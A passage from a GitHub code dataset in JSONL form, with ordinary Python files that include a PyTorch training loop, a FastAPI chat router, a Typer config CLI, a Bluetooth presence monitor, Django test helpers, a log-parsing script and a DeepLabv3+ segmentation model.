val_loss < best_loss:\n best_loss = val_loss\n best_epoch = self.epoch\n torch.save(self.model.state_dict(), os.path.join(self.model_path, f'best_model_epoch_{best_epoch}_val_loss_{val_loss}.pth'))\n if early_stopper.early_stop(val_loss):\n print(f'[TRAIN] Stopping training at epoch {self.epoch} with val_loss {val_loss:.4f} and best_epoch {best_epoch} with best_val_loss {best_loss:.4f}')\n break\n if use_tb:\n writer.add_scalar('Loss/train', self.history['train_loss'][-1], self.epoch)\n writer.add_scalar('Loss/val', self.history['val_loss'][-1], self.epoch)\n for metric_fn in self.metric_fns:\n writer.add_scalar(f'{metric_fn.__name__}/train', self.history[f'train_{metric_fn.__name__}'][-1], self.epoch)\n writer.add_scalar(f'{metric_fn.__name__}/val', self.history[f'val_{metric_fn.__name__}'][-1], self.epoch)\n \n self.save_history()\n self.plot_history()\n if self.config.training.return_best_model:\n self.model.load_state_dict(torch.load(os.path.join(self.model_path, f'best_model_epoch_{best_epoch}_val_loss_{best_loss}.pth')))\n return self.model\n except KeyboardInterrupt:\n print(f'[TRAIN] Stopping training at epoch {self.epoch} with val_loss {val_loss:.4f} and best_epoch {best_epoch} with best_val_loss {best_loss:.4f}')\n self.save_history()\n exit()\n\n def plot_history(self):\n for metric_fn in self.metric_fns:\n for phase in ['train', 'val']:\n plt.plot(self.history['epoch'], self.history[f'{phase}_{metric_fn.__name__}'], label=phase)\n val_max = max(self.history[f'val_{metric_fn.__name__}'])\n arg_val_max = self.history[f'val_{metric_fn.__name__}'].index(val_max)+1\n plt.plot(arg_val_max, val_max, 'ro', label=f'{val_max:.4f} at epoch {arg_val_max}')\n plt.axvline(x=arg_val_max, color='r', linestyle='--')\n plt.legend()\n plt.suptitle(f'{self.model_name}\\n{metric_fn.__name__}')\n plt.savefig(os.path.join(self.plot_paths, f'{metric_fn.__name__}.png'))\n plt.close()\n \n plt.plot(self.history['epoch'], self.history['train_loss']/len(self.train_loader), label='train')\n plt.plot(self.history['epoch'], self.history['val_loss']/len(self.val_loader), label='val')\n val_min = min(self.history[f'val_loss'])\n arg_val_min = self.history[f'val_loss'].index(val_min)+1\n plt.plot(arg_val_min, val_min, 'ro', label=f'{val_min:.4f} at epoch {arg_val_min}')\n plt.axvline(x=arg_val_min, color='r', linestyle='--')\n plt.legend()\n plt.suptitle(f'{self.model_name}\\nloss')\n plt.savefig(os.path.join(self.plot_paths, 'loss.png'))\n plt.close()\n \n def evaluate(self):\n \n if self.config.evaluation.use_best_model:\n # quconfig.evaluation.useway to find best epoch model\n best_models = list(Path(self.model_path).glob('best_model*.pth'))\n best_epoch = 0\n for model in best_models:\n epoch = int(re.findall(r'(?<=best_model_epoch_)\\d+', str(model))[0])\n if epoch > best_epoch: \n best_model = model\n best_epoch = epoch\n self.model.load_state_dict(torch.load(best_model))\n print('[EVALUATE] Loaded best model:', best_model)\n\n elif self.eval_model_path:\n self.model.load_state_dict(torch.load(self.eval_model_path))\n print('[EVALUATE] Loaded model:', self.eval_model_path)\n\n if self.config.evaluation.load_previous_log:\n self.load_history()\n print('[EVALUATE] Loaded previous history:', os.path.join(self.out_path,'history.csv'))\n \n \n print('[EVALUATE] Plotting history...')\n self.plot_history()\n self.model.to(self.device)\n \n print('[EVALUATE] Evaluating...')\n self.test_step()\n \n# https://stackoverflow.com/questions/71998978/early-stopping-in-pytorch\nclass EarlyStopper:\n def __init__(self, patience=1, min_delta=0):\n self.patience = patience\n self.min_delta = min_delta\n self.counter = 0\n self.min_validation_loss = np.inf\n\n def early_stop(self, validation_loss):\n if validation_loss < self.min_validation_loss:\n self.min_validation_loss = validation_loss\n self.counter = 0\n elif validation_loss > (self.min_validation_loss + self.min_delta):\n self.counter += 1\n if self.counter >= self.patience:\n return True\n return False\n\n\n\n","repo_name":"DakotaHester/gcerutils","sub_path":"gcerlib/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":20971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"772922234","text":"from fastapi import APIRouter, Depends\nfrom sqlalchemy.orm import Session\nfrom app import schemas\nfrom typing import List\nfrom database import get_db\nimport services.message_operations as message_operations\nfrom app.socketio_manager import sio\n\nrouter = APIRouter()\n\n\n@sio.on('connect', namespace='/')\n@sio.event\nasync def connect(sid, environ, auth):\n print(\"Client connected:\", sid)\n\n\n@sio.event\nasync def disconnect(sid):\n print(\"Client disconnected:\", sid)\n\n\n@sio.event\nasync def join_room(sid, conversation_id):\n sio.enter_room(sid, conversation_id)\n print(\"Rooms socket is in:\", sio.rooms(sid))\n print(\"conversation_id, sid\", conversation_id, sid)\n\n\n@sio.event\nasync def leave_room(sid, conversation_id):\n sio.leave_room(sid, conversation_id)\n print(f\"Socket {sid} left room {conversation_id}\")\n\n\n@router.post(\"/conversations/{conversation_id}/messages\", response_model=schemas.Message)\nasync def create_message(message: schemas.MessageCreate, conversation_id: int, db: Session = Depends(get_db)):\n message_data = message_operations.create_new_message(\n message, conversation_id, db)\n formatted_message = {\n \"message_id\": str(message_data.message_id),\n \"user\": {\"username\": message_data.user.username},\n \"content\": message_data.content\n }\n await sio.emit(\"new_message\", formatted_message, room=conversation_id)\n return message_data\n\n\n@router.get(\"/conversations/{conversation_id}/messages\", response_model=List[schemas.Message])\ndef read_messages(conversation_id: int, db: Session = Depends(get_db)):\n return message_operations.get_messages_for_conversation(conversation_id, db)\n","repo_name":"Midnite/schmoozio","sub_path":"app/routers/messages.py","file_name":"messages.py","file_ext":"py","file_size_in_byte":1652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"35550291330","text":"import yaml\nimport typer\n\nfrom rich import print\nfrom rich.table import Table\nfrom rich.console import Console\nfrom dataclasses import dataclass, fields, field, MISSING\n\napp = typer.Typer()\nconsole = Console()\n\n\n@dataclass\nclass Config:\n path: str\n onPass: str = field(default=\"\")\n onFail: str = field(default=\"\")\n verbose: bool = field(default=False)\n autoClear: bool = field(default=False)\n config: bool = field(default=None)\n ignore: list[str] = field(default_factory=list)\n extensions: list[str] = field(default_factory=list)\n passthrough: list[str] = field(default_factory=list)\n\n def __post_init__(self):\n if self.config:\n loaded_config = load_config(self.config)\n self.verbose = self.verbose or loaded_config[\"verbose\"]\n self.autoClear = self.autoClear or loaded_config[\"autoClear\"]\n self.passthrough = self.passthrough or loaded_config[\"passthrough\"]\n self.ignore = self.ignore or loaded_config[\"ignore\"]\n self.extensions = self.extensions or loaded_config[\"extensions\"]\n self.onPass = loaded_config[\"onPass\"] or \"\"\n self.onFail = loaded_config[\"onFail\"] or \"\"\n\n\ndef display_table(data: dict):\n table = Table()\n table.add_column(\"Key\")\n table.add_column(\"Value\")\n for key, value in data.items():\n table.add_row(key, str(value))\n console.print(table)\n\n\ndef load_config(path: str = \"config.yaml\"):\n try:\n with open(path, \"r\") as f:\n config = yaml.safe_load(f)\n return config\n except FileNotFoundError:\n print(\"Config file not found\")\n raise typer.Exit()\n\n\ndef get_optional_fields(instance: Config):\n data = {}\n for instance_field in fields(instance):\n if (\n instance_field.default is not MISSING and instance_field.default is not None\n ) or instance_field.default_factory is not MISSING:\n if instance_field.default_factory is not MISSING:\n if instance_field.default_factory == list:\n data[instance_field.name] = []\n else:\n data[instance_field.name] = instance_field.default_factory\n else:\n data[instance_field.name] = instance_field.default\n return data\n\n\n@app.command()\ndef create(\n path: str = typer.Option(\n \"config.yaml\",\n \"-c\",\n \"--config\",\n help=\"Path to a config file.\",\n ),\n):\n \"\"\"\n Create a config file for Pytest-File-Watcher.\n\n \\b\n Use the [cyan]create[/cyan] command to create a config file that will be used for testing.\n\n [underline magenta]Note:[/underline magenta] This command will overwrite any existing config file. Unless a different path is specified.\n [underline magenta]Note:[/underline magenta] If you use the configure command, you can use the -c flag when testing to include that config file for testing.\n [underline magenta]Note:[/underline magenta] If you are passing a list of values, enclose them in quotes and separate them with spaces. Example: [cyan]passthrough: \"param1\" \"param2\" \"param3\"[/cyan]\n \"\"\" # noqa: E501\n print(\"Enter values for the config. Leave blank to ignore.\")\n\n config = {}\n optional_fields = get_optional_fields(Config)\n for k, v in optional_fields.items():\n if isinstance(v, list):\n config[k] = typer.prompt(\n f\"{k} (separate with spaces and enclose in quotes)\",\n default=\"\",\n type=str,\n )\n config[k] = config[k].split(\" \")\n config[k] = [x.strip('\"') for x in config[k] if x]\n else:\n config[k] = typer.prompt(\n k,\n default=v,\n type=type(v),\n )\n\n show_and_save(config, path)\n\n\n@app.command()\ndef edit(\n path: str = typer.Option(\n \"config.yaml\",\n \"-c\",\n \"--config\",\n help=\"Path to the config file\",\n )\n):\n \"\"\"\n Edit the config file for Pytest-File-Watcher.\n\n \\b\n Use the [cyan]edit[/cyan] command to edit an existing config file that will be used for testing.\n\n [underline magenta]Note:[/underline magenta] This command will overwrite any existing config file.\n [underline magenta]Note:[/underline magenta] If you use the configure command, you can use the -c flag when testing to include that config file for testing.\n [underline magenta]Note:[/underline magenta] If you are passing a list of values, enclose them in quotes and separate them with spaces. Example: [cyan]passthrough: \"param1\" \"param2\" \"param3\"[/cyan]\n \"\"\" # noqa: E501\n config = load_config(path)\n\n print(\"Enter new values for the config. Leave blank to keep the current value.\")\n optional_fields = get_optional_fields(Config)\n for k, v in optional_fields.items():\n if isinstance(v, list):\n config[k] = typer.prompt(\n f\"{k} (separate with spaces and enclose in quotes)\",\n default=\" \".join(config.get(k, v)),\n type=str,\n )\n config[k] = config[k].split(\" \")\n config[k] = [x.strip('\"') for x in config[k] if x]\n else:\n config[k] = typer.prompt(\n k,\n default=config.get(k, v),\n type=type(v),\n )\n\n show_and_save(config, path)\n\n\ndef show_and_save(config, path):\n display_table(config)\n confirmation = typer.confirm(\"Are all the values correct?\", abort=True)\n\n if confirmation:\n with open(path, \"w\") as f:\n yaml.dump(config, f)\n\n print(\"Config edited successfully\")\n else:\n print(\"Config edit aborted\")\n\n\n@app.command()\ndef show(\n path: str = typer.Option(\n \"config.yaml\",\n \"-c\",\n \"--config\",\n help=\"Path to the config file\",\n )\n):\n \"\"\"\n Show the config file for Pytest-File-Watcher.\n\n \\b\n Use the [cyan]show[/cyan] command to show the current config file that will be used for testing.\n \"\"\"\n config = load_config(path)\n display_table(config)\n","repo_name":"deviljin112/Pytest-File-Watcher","sub_path":"src/configure.py","file_name":"configure.py","file_ext":"py","file_size_in_byte":6081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"17584722780","text":"#!/usr/bin/python3\n\n# https://raspberrypi.stackexchange.com/questions/96493/rpi-zero-w-how-to-automatically-accept-bluetooth-pairing-and-log-mac-and-info\nimport pydbus\nimport subprocess\nimport sys\nimport re\nfrom gi.repository import GLib\n\nbus = pydbus.SystemBus()\nmng = bus.get('org.bluez', '/')\n\nclass DeviceMonitor:\n def __init__(self, path_obj):\n self.device = bus.get('org.bluez', path_obj)\n self.device.onPropertiesChanged = self.prop_changed\n print(f'Device added to monitor {self.device.Address}')\n\n def prop_changed(self, iface, props_changed, props_removed):\n \"\"\"Event handler for a device property change\"\"\"\n con_status = props_changed.get('Connected', None)\n if con_status is not None:\n if con_status:\n print(f'Connected {self.device.Address}')\n process = subprocess.run(['systemctl', '--user', 'start', 'bt-presence.target'])\n else:\n print(f'Disconnected {self.device.Address}')\n process = subprocess.run(['systemctl', '--user', 'stop', 'bt-presence.target'])\n\ndef new_iface(path, iface_props):\n \"\"\"Check to see if a new device has been added\"\"\"\n print('Interface Added')\n device_addr = iface_props.get('org.bluez.Device1', {}).get('Address')\n if device_addr:\n DeviceMonitor(path)\n\nmng.onInterfacesAdded = new_iface\n\n# Get all the known devices and add them to DeviceMonitor\n#mng_objs = mng.GetManagedObjects()\n#for path in mng_objs:\n# dev_props = mng_objs[path].get('org.bluez.Device1', {})\n# if dev_props:\n# DeviceMonitor(path)\n\n# Load known devices from conf file and add them to DeviceMonitor\nregex = re.compile(\"^/org.*\")\nwith open(sys.argv[1], 'r') as conf_file:\n for line in conf_file:\n if regex.search(line):\n DeviceMonitor(line.strip())\n\n\n# Start the eventloop to monitor BlueZ events\nmainloop = GLib.MainLoop()\ntry:\n mainloop.run()\nexcept KeyboardInterrupt:\n mainloop.quit()\n\n\n","repo_name":"taradiddles/diy-dsp-preamp","sub_path":"files/home/pwbt/bin/monitor_bt.py","file_name":"monitor_bt.py","file_ext":"py","file_size_in_byte":1988,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"21082376381","text":"from contribution_plan.tests.helpers import create_test_contribution_plan_bundle\nfrom core.models import User\nfrom insuree.test_helpers import create_test_insuree\nfrom location.models import Location\nfrom policy.test_helpers import create_test_policy\n\nfrom policyholder.models import PolicyHolder, PolicyHolderInsuree, PolicyHolderUser\n\nfrom product.test_helpers import create_test_product\n\nPH_DATA = {\n 'code': 'PHCode',\n 'trade_name': 'CompanyTest',\n 'address': {\"region\": \"APAC\", \"street\": \"test\"},\n 'phone': '111000111',\n 'fax': 'Fax',\n 'email': 'policy_holder@mail.com',\n 'contact_name': {\"name\": \"test\", \"surname\": \"test-test\"},\n 'legal_form': 1,\n 'activity_code': 2,\n 'accountancy_account': '128903719082739810273',\n 'bank_account': {\"IBAN\": \"PL00 0000 2345 0000 1000 2345 2345\"},\n 'payment_reference': 'PolicyHolderPaymentReference',\n 'json_ext': {},\n}\n\n\ndef create_test_policy_holder(locations=None, custom_props={}):\n user = __get_or_create_simple_policy_holder_user()\n\n object_data = {\n **PH_DATA,\n **custom_props\n }\n\n policy_holder = PolicyHolder(**object_data)\n if locations:\n policy_holder.locations_uuid = locations\n else:\n location = Location.objects.order_by('id').first()\n policy_holder.locations_uuid = location\n policy_holder.save(username=user.username)\n\n return policy_holder\n\n\ndef create_test_policy_holder_insuree(policy_holder=None, insuree=None, contribution_plan_bundle=None,\n last_policy=None, custom_props={}):\n if not policy_holder:\n policy_holder = create_test_policy_holder()\n if not insuree:\n insuree = create_test_insuree()\n if not contribution_plan_bundle:\n contribution_plan_bundle = create_test_contribution_plan_bundle()\n if not last_policy:\n last_policy = create_test_policy(\n product=create_test_product(\"TestCode\", custom_props={\"insurance_period\": 12, }),\n insuree=insuree)\n\n user = __get_or_create_simple_policy_holder_user()\n\n object_data = {\n 'policy_holder': policy_holder,\n 'insuree': insuree,\n 'contribution_plan_bundle': contribution_plan_bundle,\n 'last_policy': last_policy,\n 'json_ext': {},\n **custom_props\n }\n\n policy_holder_insuree = PolicyHolderInsuree(**object_data)\n policy_holder_insuree.save(username=user.username)\n\n return policy_holder_insuree\n\n\ndef create_test_policy_holder_user(user=None, policy_holder=None, custom_props={}):\n if not user:\n user = __get_or_create_simple_policy_holder_user()\n\n if not policy_holder:\n policy_holder = create_test_policy_holder()\n\n audit_user = __get_or_create_simple_policy_holder_user()\n\n object_data = {\n 'user': user,\n 'policy_holder': policy_holder,\n 'json_ext': {},\n **custom_props\n }\n\n policy_holder_user = PolicyHolderUser(**object_data)\n policy_holder_user.save(username=user.username)\n\n return policy_holder_user\n\n\ndef __get_or_create_simple_policy_holder_user():\n if not User.objects.filter(username='admin').exists():\n User.objects.create_superuser(username='admin', password='S\\/pe®Pąßw0rd™')\n user = User.objects.filter(username='admin').first()\n return user\n","repo_name":"openimis/openimis-be-policyholder_py","sub_path":"policyholder/tests/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"70540778460","text":"# name: Alexis Tshudy\n# email: abt21@pitt.edu\n# date: October 28, 2016\n# class: CS0008-f2016\n# instructor : Max Novelli (man8@pitt.edu)\n# description: Assignment 2 - Python Script\n\n#define function: printKV(key,value,klen=0)\ndef printKV(key,value,klen=0):\n #define the \"width\" as the maximum of the key itself or the specified key\n width = max(len(key),klen)\n widthvalue = str(width)\n #define value formatting depending on variable type of value using isinstance\n if isinstance(value, str):\n print(format(key,widthvalue),\":\",format(value,'20'))\n elif isinstance(value, int):\n print(format(key,widthvalue), \":\", format(value, '10,d'))\n elif isinstance(value, float):\n print(format(key,widthvalue), \":\", format(value, '10,.3f'))\n\n#define function: processFile(fh)\ndef processFile(fh):\n open_file = open(fh)\n #readline\n #rstrip\n # initialize counter and agregator variables at 0\n line_count = 0\n total_distance = 0\n #For loop, runs through each line, adds one to counter and adds distance column to total_distance\n for line in open_file:\n #can be combined into two lines:\n #[name, distance] = line.rstrip('\\n').split(',')\n #distance = float(distance)\n #use .rstrip to remove new line created at the end\n line = line.rstrip(\"\\n\")\n #split string using .split; split on comma deliminator\n split_line = line.split(\",\")\n #assign second column to distance variable and convert to float\n distance = float(split_line[1])\n #add one to counter and add distance to total distance\n line_count += 1\n total_distance += distance\n\n #print file-specific totals using printKV formatting\n #use a constant instead of entering 25 on each of them...\n #substitute print statements for a return, then print outside of the function\n printKV(\"File Name\",filename,25)\n printKV(\"Partial Total # of Lines\",line_count,25)\n printKV(\"Partial distance run\",total_distance,25)\n\n #add file-level totals to overall distance and linecounts, overall variables are global vars\n global overall_distance\n global overall_linecount\n overall_distance += total_distance\n overall_linecount += line_count\n\n #print using printKV format for Totals\n print(\"Totals\")\n printKV(\"Total Number of Lines\",overall_linecount,25)\n printKV(\"Total Distance Run\", overall_distance,25)\n\n #close the file\n open_file.close()\n\n# Start Main script\n#ask for user input, includes instructions for stopping/quiting the program\nuserinput = str(input(\"Please enter the name of the file you would like to use. Or to quit, please enter 'quit' or 'q'\"))\noverall_distance = 0\noverall_linecount = 0\n\n#while loop tests user input & calls processFile function\nwhile userinput != \"quit\" and userinput != \"q\" and userinput != \"\":\n filename = userinput\n processFile(filename)\n userinput = str(input(\"Would you like to process another file? Please enter the name of the file you would like to use. Or to quit, please enter 'quit' or 'q'\"))\n\n\n\n#to ensure that the file exists in the directory... start the script with import os.path\n#in while loop, check as part of the conditions: and os.path.exists(file)\n\n# MN: you forgot to print the overall totals\n\n","repo_name":"alexistshudy/CS0008-f2016","sub_path":"f2016_cs8_abt21_a2/f2016_cs8_abt21_a2.py","file_name":"f2016_cs8_abt21_a2.py","file_ext":"py","file_size_in_byte":3285,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"8247278095","text":"from django.db import migrations, models\n\nimport fluent_contents.utils.validators\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [(\"fluent_contents\", \"0001_initial\")]\n\n operations = [\n migrations.CreateModel(\n name=\"GoogleDocsViewerItem\",\n fields=[\n (\n \"contentitem_ptr\",\n models.OneToOneField(\n parent_link=True,\n auto_created=True,\n primary_key=True,\n serialize=False,\n to=\"fluent_contents.ContentItem\",\n on_delete=models.CASCADE,\n ),\n ),\n (\n \"url\",\n models.URLField(\n help_text=\"Specify the URL of an online document, for example a PDF or DOCX file.\",\n verbose_name=\"File URL\",\n ),\n ),\n (\n \"width\",\n models.CharField(\n default=\"100%\",\n help_text=\"Specify the size in pixels, or a percentage of the container area size.\",\n max_length=10,\n verbose_name=\"Width\",\n validators=[fluent_contents.utils.validators.validate_html_size],\n ),\n ),\n (\n \"height\",\n models.CharField(\n default=\"600\",\n help_text=\"Specify the size in pixels.\",\n max_length=10,\n verbose_name=\"Height\",\n validators=[fluent_contents.utils.validators.validate_html_size],\n ),\n ),\n ],\n options={\n \"db_table\": \"contentitem_googledocsviewer_googledocsvieweritem\",\n \"verbose_name\": \"Embedded document\",\n \"verbose_name_plural\": \"Embedded document\",\n },\n bases=(\"fluent_contents.contentitem\",),\n )\n ]\n","repo_name":"django-fluent/django-fluent-contents","sub_path":"fluent_contents/plugins/googledocsviewer/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":151,"dataset":"github-code","pt":"69"} +{"seq_id":"41847828689","text":"import sqlite3\nimport os.path\n\n# создаём таблицу\ndef CreateTable():\n if(not(os.path.exists('database.db'))):\n data = ReadAndParsingFile()\n connection = sqlite3.connect('database.db')\n cursor = connection.cursor()\n cursor.execute(\"\"\"CREATE TABLE logs\n (date text, time text, key title,\n ip title, subcat title, user_id title,\n goods_id title, cart_id title, success_pay title, \n amount title)\"\"\")\n\n cursor.executemany(\"INSERT INTO logs VALUES (?,?,?,?,?,?,?,?,?,?)\", data)\n connection.commit()\n else:\n print('table has already exist')\n\ndef ReadAndParsingFile():\n listLines = []\n\n#считываем файл и удаляем лишние элементы\n for line in open('logs.txt', 'r').readlines():\n element = line.strip().split(sep=' ')\n element.remove('shop_api')\n element.remove('|')\n element.remove('INFO:')\n del element[:5]\n tmp = element[4].split(sep='https://all_to_the_bottom.com/')[1].split('/')\n if '' in tmp: tmp.remove('')\n if tmp != []:\n if '?' in tmp[0]:\n firsttmp = tmp[0].split('?')\n secondtmp = firsttmp[1].split('&')\n del firsttmp[1]\n firsttmp = secondtmp + firsttmp\n tmp = tmp + firsttmp\n del tmp[0]\n element[4] = tmp\n else:\n del element[4]\n\n listLines.append(element)\n\n for x in listLines:\n if len(x) == 5:\n if ((x[4][len(x[4])-1] == 'cart') or (x[4][len(x[4])-1] == 'pay')):\n del x[4][len(x[4])-1]\n\n# оформляем список кортежей который потом пойдёт на вход базе данных,\n# в пустые элементы будут иметь значение 'none'\n\n for x in listLines:\n if len(x) == 5:\n if 'user_id' in x[4][0]:\n y = x[4]\n del x[4]\n x.append('none')\n res = list()\n for i in y:\n slice = i.split('=')\n res.append(slice[1])\n x.append(res[0])\n x.append('none')\n x.append(res[1])\n x.append('none')\n x.append('none')\n elif 'goods_id' in x[4][0]:\n y = x[4]\n del x[4]\n x.append('none')\n res = list()\n for i in y:\n slice = i.split('=')\n res.append(slice[1])\n x.append('none')\n x.append(res[0])\n x.append(res[2])\n x.append('none')\n x.append(res[1])\n elif 'success_pay_' in x[4][0]:\n y = x[4]\n del x[4]\n x.append('none')\n res = list()\n for i in y:\n slice = i.split('success_pay_')\n res.append(slice[1])\n x.append('none')\n x.append('none')\n x.append('none')\n x.append(res[0])\n x.append('none')\n else:\n y = x[4]\n del x[4]\n res = ''\n for i in y:\n res += i\n res += '/'\n x.append(res)\n x.append('none')\n x.append('none')\n x.append('none')\n x.append('none')\n x.append('none')\n else:\n x.append('none')\n x.append('none')\n x.append('none')\n x.append('none')\n x.append('none')\n x.append('none')\n\n resList = []\n for line in listLines:\n resList.append(tuple(line))\n\n return resList\n\ndef main():\n CreateTable()","repo_name":"MaxBitWise/ITIS_Upgrade","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3953,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"69"} +{"seq_id":"38286083076","text":"## author: xin luo\n## creat: 2022.4.3, modify: 2023.2.3\n## des: deeplabv3plus model (with Xception65 backbone).\n\n\nimport os\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom model.backbone.xception65 import Xception65\n\n\ndef conv1x1_bn_relu(in_channels, out_channels):\n return nn.Sequential(\n nn.Conv2d(in_channels, out_channels, 1, 1, 0),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True)\n )\n\ndef conv3x3_bn_relu(in_channels, out_channels):\n return nn.Sequential(\n nn.Conv2d(in_channels, out_channels, 3, 1, 1),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True)\n )\n\ndef deconv4x4_bn_relu(in_channels=256, out_channels=256):\n return nn.Sequential(\n nn.ConvTranspose2d(in_channels, out_channels, \\\n kernel_size=4, stride=2, padding=1),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True)\n )\n\n####--------------for the deeplabv3_plus-----------####\ndef aspp_conv(in_channels, out_channels, dilation):\n '''aspp convolution: atrous_conv + bn + relu'''\n return nn.Sequential(\n nn.Conv2d(in_channels, out_channels, 3, \\\n padding=dilation, dilation=dilation, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(inplace=True)\n )\n\nclass aspp_pooling(nn.Module):\n '''aspp pooling: pooling + 1x1 conv + bn + relu'''\n def __init__(self, in_channels, out_channels):\n super(aspp_pooling, self).__init__()\n self.layers = nn.Sequential(\n nn.AdaptiveAvgPool2d(1), ## size -> 1x1\n nn.Conv2d(in_channels, out_channels, 1, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.ReLU()\n )\n def forward(self, x):\n size = x.shape[-2:]\n x = self.layers(x)\n x = F.interpolate(x, size=size, mode='bilinear', align_corners=False)\n return x\n\nclass aspp(nn.Module):\n '''aspp module: consist of aspp conv, aspp pooling...'''\n def __init__(self, in_channels, atrous_rates):\n super(aspp, self).__init__()\n out_channels = 256 \n modules = []\n # branch 1:conv2d+bn+relu\n modules.append(nn.Sequential(\n nn.Conv2d(in_channels, out_channels, 1, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.ReLU()))\n rate1, rate2, rate3 = tuple(atrous_rates) ## \n ## branch 2-4:atrous convolution\n modules.append(aspp_conv(in_channels, out_channels, rate1))\n modules.append(aspp_conv(in_channels, out_channels, rate2))\n modules.append(aspp_conv(in_channels, out_channels, rate3))\n ## branch 5:pooling\n modules.append(aspp_pooling(in_channels, out_channels))\n self.convs = nn.ModuleList(modules) \n ## for merged branches:conv2d+bn+relu+dropout\n self.project = nn.Sequential(\n nn.Conv2d(5 * out_channels, out_channels, 1, bias=False),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(),\n nn.Dropout(0.5))\n def forward(self, x):\n res = []\n for conv in self.convs:\n res.append(conv(x))\n res = torch.cat(res, dim=1)\n return self.project(res)\n\nclass Xception65_feat(nn.Module):\n '''original encoder for deeplabv3_plus moel\n retrun:\n high-level + low-level features\n\n '''\n def __init__(self, num_bands=4):\n super(Xception65_feat, self).__init__()\n self.backbone = Xception65(num_bands)\n def forward(self,x):\n '''output -> low feature + high feature'''\n ## output_stride = 32\n x = self.backbone.conv1(x)\n x = self.backbone.bn1(x)\n x = self.backbone.relu(x)\n x = self.backbone.conv2(x)\n x = self.backbone.bn2(x)\n x = self.backbone.relu(x)\n x = self.backbone.block1(x)\n x = self.backbone.relu(x) \n fea_low = x # size -> 1/4, num_channel -> 128\n x = self.backbone.block2(x)\n x = self.backbone.block3(x)\n # Middle flow\n x = self.backbone.midflow(x)\n # fea_mid = x # size -> 1/16, num_channel -> 728\n # Exit flow\n x = self.backbone.block20(x)\n x = self.backbone.relu(x)\n x = self.backbone.conv3(x)\n x = self.backbone.bn3(x)\n x = self.backbone.relu(x)\n x = self.backbone.conv4(x)\n x = self.backbone.bn4(x)\n x = self.backbone.relu(x)\n x = self.backbone.conv5(x)\n x = self.backbone.bn5(x)\n x = self.backbone.relu(x) \n fea_high = x # size -> 1/32, num_channels -> 2048\n return fea_low, fea_high\n\n\n\nclass deeplabv3plus(nn.Module):\n '''des: original deeplabv3_plus model'''\n def __init__(self, num_bands=4, num_classes=2, backbone=Xception65_feat):\n super(deeplabv3plus, self).__init__()\n self.name = 'deeplabv3plus'\n self.backbone = backbone(num_bands=num_bands)\n self.aspp = aspp(in_channels=2048, atrous_rates=[12, 24, 36])\n self.low_block = conv1x1_bn_relu(128, 48)\n self.high_low_block = nn.Sequential( \n conv3x3_bn_relu(304, 256),\n nn.Dropout(0.5),\n conv3x3_bn_relu(256, 256),\n nn.Dropout(0.1),\n )\n if num_classes == 2:\n self.outp_layer = nn.Sequential(\n nn.Conv2d(in_channels=256, out_channels=1, kernel_size=1),\n nn.Sigmoid())\n else:\n self.outp_layer = nn.Sequential(\n nn.Conv2d(in_channels=256,out_channels=num_classes,kernel_size=1),\n nn.Softmax(dim=1))\n\n\n def forward(self, x):\n fea_low, fea_high = self.backbone(x) \n ## -------high-level features------- ##\n x_fea_high = self.aspp(fea_high) # channels: -> 256\n x_fea_high = F.interpolate(x_fea_high, fea_low.size()[-2:], \\\n mode='bilinear', align_corners=True)\n\n ## -------low-level features------- ##\n x_fea_low = self.low_block(fea_low) # channels: ->48\n\n ## -------features concat------- ##\n x_fea_concat = torch.cat([x_fea_high, x_fea_low], dim=1) # \n x_fea_concat = self.high_low_block(x_fea_concat)\n x_out_prob = self.outp_layer(x_fea_concat)\n x_out_prob = F.interpolate(x_out_prob, x.size()[-2:], \\\n mode='bilinear', align_corners=True)\n return x_out_prob\n\n","repo_name":"xinluo2018/Tibet-Water-2020","sub_path":"model/seg_model/deeplabv3plus.py","file_name":"deeplabv3plus.py","file_ext":"py","file_size_in_byte":6608,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"69"} +{"seq_id":"72042231261","text":"from django.contrib import admin\r\nfrom django.contrib.gis.db import models as geomodels\r\nfrom dp_server import models\r\nfrom leaflet.forms.widgets import LeafletWidget\r\n\r\nadmin.site.register(models.Logs)\r\n\r\n# The widget should bring this stuff in itself... But it doesn't, so we do it manually\r\nleaflet_js = (\r\n '/assets/leaflet/leaflet.js', \r\n '/assets/leaflet/draw/leaflet.draw.js',\r\n '/assets/leaflet/leaflet.extras.js',\r\n '/assets/leaflet/leaflet.forms.js'\r\n )\r\n\r\nleaflet_css = {'all': ('/assets/leaflet/leaflet.css', '/assets/leaflet/draw/leaflet.draw.css')}\r\n\r\nLEAFLET_WIDGET_ATTRS = {\r\n 'map_height': '500px',\r\n 'map_width': '100%',\r\n 'display_raw': 'true',\r\n 'map_srid': 4326,\r\n}\r\n\r\nLEAFLET_FIELD_OPTIONS = {'widget': LeafletWidget(attrs=LEAFLET_WIDGET_ATTRS)}\r\n\r\nFORMFIELD_OVERRIDES = {\r\n geomodels.PointField: LEAFLET_FIELD_OPTIONS,\r\n geomodels.MultiPointField: LEAFLET_FIELD_OPTIONS,\r\n geomodels.LineStringField: 